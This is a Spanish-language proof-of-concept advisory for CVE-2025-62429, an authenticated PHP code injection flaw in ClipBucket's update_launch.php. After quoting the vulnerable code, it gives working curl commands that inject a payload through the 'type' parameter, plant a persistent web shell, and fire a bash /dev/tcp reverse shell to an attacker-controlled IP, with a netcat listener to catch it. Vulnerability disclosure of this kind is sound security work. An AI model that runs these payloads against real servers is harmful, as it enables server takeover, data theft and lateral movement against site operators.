CVE-2025-62429 PoC - clipbucket RCE

Prueba de Concepto para RCE mediante Inyección de Código PHP en update_launch.php

Divulgación: Originalmente reportado por mí a través de GHSA-3h9c-7j8r-xc3v

⚠️ Solo para uso autorizado de pentesting/investigación.

Información de la Vulnerabilidad

CVE-2025-62429: Ejecución Remota de Código Autenticada (RCE) mediante Inyección de Código PHP en update_launch.php

Resumen

Existe una vulnerabilidad de Ejecución Remota de Código Autenticada (RCE) en ClipBucket v5.5.3-61. La vulnerabilidad está clasificada como CWE-94: Control Inadecuado de la Generación de Código ('Inyección de Código'). La aplicación no saneó adecuadamente la entrada controlada por el usuario utilizada para generar código PHP ejecutable en update_launch.php. Un administrador autenticado puede explotar esto para lograr la ejecución completa de comandos en el servidor subyacente, escalando privilegios de un administrador web al usuario del sistema (por ejemplo, containeruser).

Detalles

La vulnerabilidad se encuentra en upload/admin_area/actions/update_launch.php. Este script facilita las actualizaciones del sistema generando dinámicamente un script PHP temporal en segundo plano.

Fragmento de Código Vulnerable: upload/admin_area/actions/update_launch.php (Líneas 40-86)

// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);

// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);

Mecanismo de Explotación: Debido a que el parámetro type se concatena en la cadena $data sin escape ni saneamiento, un atacante puede usar una comilla simple (') para salir del contexto literal de la cadena. Luego puede inyectar funciones PHP arbitrarias (como system() o file_put_contents()) y comentar el resto del código original usando //. Esto resulta en la ejecución de código proporcionado por el atacante con los privilegios del proceso PHP-CLI.

Requisitos Previos

• Nivel de Acceso: Privilegios de administrador.
• Autenticación: Una cookie de sesión PHPSESSID válida.

PoC (Prueba de Concepto)

Etapa 1: Verificación e Implementación de Web Shell (Persistencia)

Primero demostramos la vulnerabilidad implementando una web shell persistente en la raíz del documento.

1. Enviar una solicitud POST manipulada al endpoint vulnerable:

curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"

2. Confirmar la ejecución recuperando la identidad del sistema:

curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...

Etapa 2: Reverse Shell (Control Total del Sistema)

Después de confirmar RCE, se establece un shell interactivo para post-explotación.

1. Iniciar un listener de Netcat en la máquina atacante:

nc -lvnp 4444

2. Disparar el reverse shell a través de la web shell implementada:

curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"

La máquina atacante recibe una conexión, otorgando acceso completo a un shell interactivo como containeruser.

Impacto

Una explotación exitosa permite a un atacante ejecutar comandos arbitrarios del sistema. Esto resulta en:

• Acceso Completo a Datos: Capacidad de leer archivos de configuración sensibles (por ejemplo, config.inc.php) y toda la base de datos.
• Violación de la Integridad del Sistema: Modificación o eliminación de cualquier archivo accesible por el proceso del servidor web.
• Movimiento Lateral: El host comprometido puede servir como punto de pivote para ataques adicionales dentro de la infraestructura interna.

Aviso Relacionado / Referencia CVE

Este problema está relacionado con la vulnerabilidad divulgada anteriormente:

• GHSA-3x4g-x3gv-rjmq
• CVE-2025-62429

Tras un análisis más detallado, se descubrió que la vulnerabilidad persistía en ClipBucket v5.5.3 debido a una corrección incompleta.
Mientras que el aviso original abordaba parte del problema, el vector de inyección de código PHP a través del parámetro type en update_launch.php seguía siendo explotable.

Este aviso proporciona detalles técnicos adicionales, verificación en la última versión y un escenario completo de explotación de extremo a extremo.